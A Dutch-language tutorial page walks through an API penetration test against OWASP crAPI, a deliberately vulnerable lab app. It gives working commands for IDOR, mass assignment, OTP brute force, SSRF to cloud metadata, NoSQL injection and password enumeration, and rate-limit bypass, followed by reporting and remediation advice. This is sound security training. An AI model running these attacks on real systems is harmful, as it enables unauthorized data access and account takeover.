CertifiedHacker

API Pentest: Van Swagger tot Exploit

Stap-voor-stap API penetratietest tutorial met OWASP crAPI: endpoint discovery, BOLA/IDOR, Mass Assignment, rate limiting bypass en rapportage.

API Pentest Tutorial: Van Swagger tot Exploit

Een complete walkthrough van een API penetratietest. We gebruiken OWASP crAPI als doelwit — een applicatie die bewust zo onveilig mogelijk is gebouwd, zodat jij kunt leren hoe je dat herkent.

De lab-omgeving opzetten

crAPI (Completely Ridiculous API) is een OWASP-project dat speciaal is gebouwd om API-kwetsbaarheden te oefenen. Het is een nep-autodealer met een mobiele app, een webinterface, en een API die elke mogelijke fout maakt uit de OWASP API Security Top 10.

# Clone en start crAPI
git clone https://github.com/OWASP/crAPI.git
cd crAPI
docker compose up -d

# crAPI draait nu op:
# - Web interface: http://localhost:8888
# - Mailhog (email): http://localhost:8025
# - API docs: http://localhost:8888/api-docs (als het beschikbaar is)

Stap 1: Account aanmaken en verkennen

Begin altijd als een legitieme gebruiker. Maak een account aan, gebruik de applicatie normaal, en laat Burp Suite al het verkeer opnemen. Na tien minuten heb je een complete API-map.

# Registreer via de API
curl -s -X POST http://localhost:8888/identity/api/auth/signup \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Hacker",
    "email": "hacker@test.com",
    "number": "0612345678",
    "password": "Hacker123!"
  }'

# Log in en bewaar het token
TOKEN=$(curl -s -X POST http://localhost:8888/identity/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email": "hacker@test.com", "password": "Hacker123!"}' | \
  jq -r '.token')

echo "Token: $TOKEN"

# Verken je eigen profiel
curl -s -H "Authorization: Bearer $TOKEN" \
  http://localhost:8888/identity/api/v2/user/dashboard | jq .

Stap 2: BOLA/IDOR — andere gebruikers’ data stelen

De eerste test is altijd: wat gebeurt er als je het ID wijzigt?

# Jouw voertuig ophalen
curl -s -H "Authorization: Bearer $TOKEN" \
  http://localhost:8888/identity/api/v2/vehicle/JOUW-UUID | jq .

# Zoek andere voertuig-UUID's
# In crAPI kun je het forum bekijken — daar staan voertuig-details
curl -s -H "Authorization: Bearer $TOKEN" \
  http://localhost:8888/community/api/v2/community/posts/recent | jq '.[] | .author'

# Probeer het voertuig van een andere gebruiker
curl -s -H "Authorization: Bearer $TOKEN" \
  http://localhost:8888/identity/api/v2/vehicle/ANDERE-UUID | jq .

# Als je de GPS-locatie, VIN en andere details ziet: BOLA!
# CVSS: 7.5 (High) — ongeautoriseerde toegang tot PII

Stap 3: Mass Assignment — jezelf admin maken

# Normaal profiel update
curl -s -X PUT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  http://localhost:8888/identity/api/v2/user/edit-profile \
  -d '{"name": "Hacker Updated"}'

# Mass Assignment: voeg extra velden toe
curl -s -X PUT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  http://localhost:8888/identity/api/v2/user/edit-profile \
  -d '{
    "name": "Hacker Admin",
    "role": "admin",
    "isAdmin": true,
    "available_credit": 99999
  }'

# Check of het werkte
curl -s -H "Authorization: Bearer $TOKEN" \
  http://localhost:8888/identity/api/v2/user/dashboard | jq '.available_credit'

Stap 4: Rate Limiting — OTP brute force

# crAPI heeft een OTP (One-Time Password) voor password reset
# Stap 1: Vraag een reset aan voor een ander account
curl -s -X POST http://localhost:8888/identity/api/auth/forget-password \
  -H "Content-Type: application/json" \
  -d '{"email": "victim@test.com"}'

# Stap 2: Brute force het 4-cijferige OTP (als er geen rate limiting is)
for otp in $(seq -w 0000 9999); do
  resp=$(curl -s -X POST http://localhost:8888/identity/api/auth/v2/check-otp \
    -H "Content-Type: application/json" \
    -d "{\"email\": \"victim@test.com\", \"otp\": \"$otp\", \"password\": \"NewPass123!\"}")
  if echo "$resp" | grep -q "success"; then
    echo "OTP gevonden: $otp"
    break
  fi
done

Stap 5: SSRF — de server als proxy

# Zoek een endpoint dat een URL als parameter accepteert
# In crAPI: de mechanic service neemt een callback URL
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  http://localhost:8888/workshop/api/merchant/contact_mechanic \
  -d '{
    "mechanic_api": "http://169.254.169.254/latest/meta-data/",
    "repeat_request_if_failed": false,
    "number_of_repeats": 1
  }'

# Als de server het request uitvoert en de response terugstuurt:
# SSRF! Je kunt interne services en cloud metadata bereiken.

Stap 6: Rapportage

Schrijf elke bevinding op met:

  1. Titel: korte beschrijving (bijv. “BOLA in Vehicle API”)
  2. OWASP categorie: API1, API2, etc.
  3. CVSS 4.0 score: bereken via de CVSS calculator
  4. Bewijs: het exacte HTTP request en response
  5. Impact: wat kan een aanvaller bereiken?
  6. Remediatie: welke check ontbreekt?

Verdieping: geavanceerde API-tests

GraphQL testing

Steeds meer applicaties bieden naast REST ook een GraphQL-endpoint. In crAPI is er geen GraphQL, maar de principes zijn universeel. Laten we kijken naar typische GraphQL-tests die je in elke API-pentest meeneemt.

# Stap 1: Ontdek het GraphQL endpoint
# Veelvoorkomende paden:
for path in /graphql /graphiql /playground /api/graphql /gql /query; do
  code=$(curl -s -o /dev/null -w "%{http_code}" -X POST "http://target:8888$path" \
    -H "Content-Type: application/json" -d '{"query":"{__typename}"}')
  echo "$path: $code"
done

# Stap 2: Introspection query
curl -s -X POST http://target/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{queryType{name}mutationType{name}types{name kind fields{name type{name kind ofType{name}}}}}}"}' | python3 -m json.tool | head -50

# Stap 3: Zoek gevoelige velden
# Filter het schema op velden als: password, token, secret, ssn, credit
curl -s -X POST http://target/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name fields{name}}}}"}' | \
  grep -i "password\|token\|secret\|admin\|role\|credit"

NoSQL Injection in API’s

Veel moderne API’s gebruiken MongoDB of andere NoSQL-databases. De injection-syntax is anders dan SQL, maar het principe is hetzelfde: gebruikersinput wordt ongesanitiseerd in een query gestopt.

# MongoDB operator injection
# In plaats van: {"email": "test@test.com", "password": "wrong"}
# Stuur:
curl -s -X POST http://target/api/login \
  -H "Content-Type: application/json" \
  -d '{"email": "admin@test.com", "password": {"$gt": ""}}'

# De query wordt: db.users.find({email: "admin@test.com", password: {$gt: ""}})
# $gt: "" matcht elk niet-leeg wachtwoord = authenticatie bypass

# Andere operators om te proberen:
# {"$ne": ""}     - niet gelijk aan leeg (matcht alles)
# {"$regex": ".*"} - reguliere expressie die alles matcht
# {"$gt": ""}     - groter dan leeg (matcht alles)
# {"$exists": true} - veld bestaat (altijd waar)

# Enumeratie via regex
# Wachtwoord karakter voor karakter achterhalen:
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9; do
  resp=$(curl -s -X POST http://target/api/login \
    -H "Content-Type: application/json" \
    -d "{\"email\": \"admin@test.com\", \"password\": {\"\$regex\": \"^$c\"}}")
  if echo "$resp" | grep -q "success\|token"; then
    echo "Eerste karakter: $c"
    break
  fi
done

API versie-exploitatie

Een van de meest onderschatte aanvalsvectoren. Ontwikkelaars upgraden van v1 naar v2 en voegen betere beveiliging toe. Maar v1 staat nog online. En v1 heeft die beveiliging niet.

# Ontdek beschikbare versies
for v in v1 v2 v3 v0 beta internal legacy old; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN" \
    "http://target/api/$v/users")
  if [ "$code" != "404" ]; then
    echo "GEVONDEN: /api/$v/users = HTTP $code"
  fi
done

# Vergelijk autorisatie tussen versies
# v2 blokkeert IDOR:
curl -H "Authorization: Bearer $TOKEN" http://target/api/v2/users/999
# 403 Forbidden

# v1 niet:
curl -H "Authorization: Bearer $TOKEN" http://target/api/v1/users/999
# 200 OK + data! De oude versie heeft geen authz-check

Rate Limiting Bypass Technieken

# Techniek 1: IP-rotatie via headers
for i in $(seq 1 100); do
  curl -s -H "X-Forwarded-For: 10.0.0.$((RANDOM % 255))" \
    -H "X-Real-IP: 192.168.1.$((RANDOM % 255))" \
    -X POST http://target/api/login \
    -d '{"email":"admin@test.com","password":"attempt'$i'"}'
done

# Techniek 2: Unicode/encoding variaties in de body
# Sommige rate limiters hashen de request body
{"email":"admin@test.com","password":"test"}
{"email":"admin@test.com", "password":"test"}     # extra spatie
{"email":"admin@test.com","password":"test","_":"1"} # extra veld

# Techniek 3: HTTP method switching
POST /api/login  # gelimiteerd
PUT /api/login   # misschien niet?

# Techniek 4: Case variatie in het pad
/api/login
/API/LOGIN
/Api/Login
/api/Login

Voorbeeld: API Pentest Rapportage

Een goed API-pentestrapport bevat per bevinding:

## Bevinding: BOLA in Vehicle API (API1)
**Ernst**: Hoog (CVSS 4.0: 7.5)
**Endpoint**: GET /api/v2/vehicle/{uuid}
**Authenticatie**: Bearer token (ingelogde gebruiker)

### Beschrijving
Het vehicle-endpoint retourneert voertuiggegevens inclusief GPS-locatie,
VIN-nummer en eigenaargegevens voor elk geldig UUID, ongeacht of het
voertuig aan de ingelogde gebruiker toebehoort.

### Bewijs
Request:
GET /api/v2/vehicle/3fa85f64-5717-4562-b3fc-2c963f66afa6 HTTP/1.1
Authorization: Bearer [token van gebruiker A]
Host: target.com

Response: 200 OK
{"id":"3fa85f64...","owner":"Gebruiker B","vin":"1HGBH41J...","location":{"lat":52.37,"lng":4.89}}

### Impact
Een aanvaller kan de locatie, het VIN-nummer en persoonlijke gegevens
van alle voertuigen in het systeem achterhalen door UUID's te enumereren.

### Remediatie
Voeg een autorisatiecheck toe: vergelijk de owner van het voertuig
met de gebruiker uit het JWT-token voordat de data wordt geretourneerd.

```python
# Voorbeeld fix (Python/Flask):
@app.route('/api/v2/vehicle/')
@jwt_required
def get_vehicle(uuid):
    vehicle = Vehicle.query.get(uuid)
    if vehicle.owner_id != current_user.id:
        abort(403)  # <-- deze check ontbrak
    return jsonify(vehicle.to_dict())
```

Automatisering van API-tests

Postman Collections automatiseren

# Exporteer je Postman collection als JSON
# Draai alle tests via newman (Postman CLI)
newman run collection.json \
  -e environment.json \
  --reporters cli,junit \
  --reporter-junit-export results.xml

# Voeg tests toe aan elke request in Postman:
# Tests tab:
pm.test("Status code is 200", function() {
    pm.response.to.have.status(200);
});
pm.test("Response bevat geen password_hash", function() {
    pm.expect(pm.response.text()).to.not.include("password_hash");
});

Nuclei templates voor API’s

# api-idor-check.yaml
id: api-idor-check
info:
  name: API IDOR Test
  severity: high

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/users/1"
      - "{{BaseURL}}/api/v1/users/2"
    headers:
      Authorization: "Bearer {{token}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "email"
          - "name"
        condition: and
# Draai nuclei met je custom template
nuclei -u https://target.com -t api-idor-check.yaml -var token="YOUR_TOKEN"

Op de hoogte blijven?

Ontvang nieuwe hoofdstukken en updates per e-mail.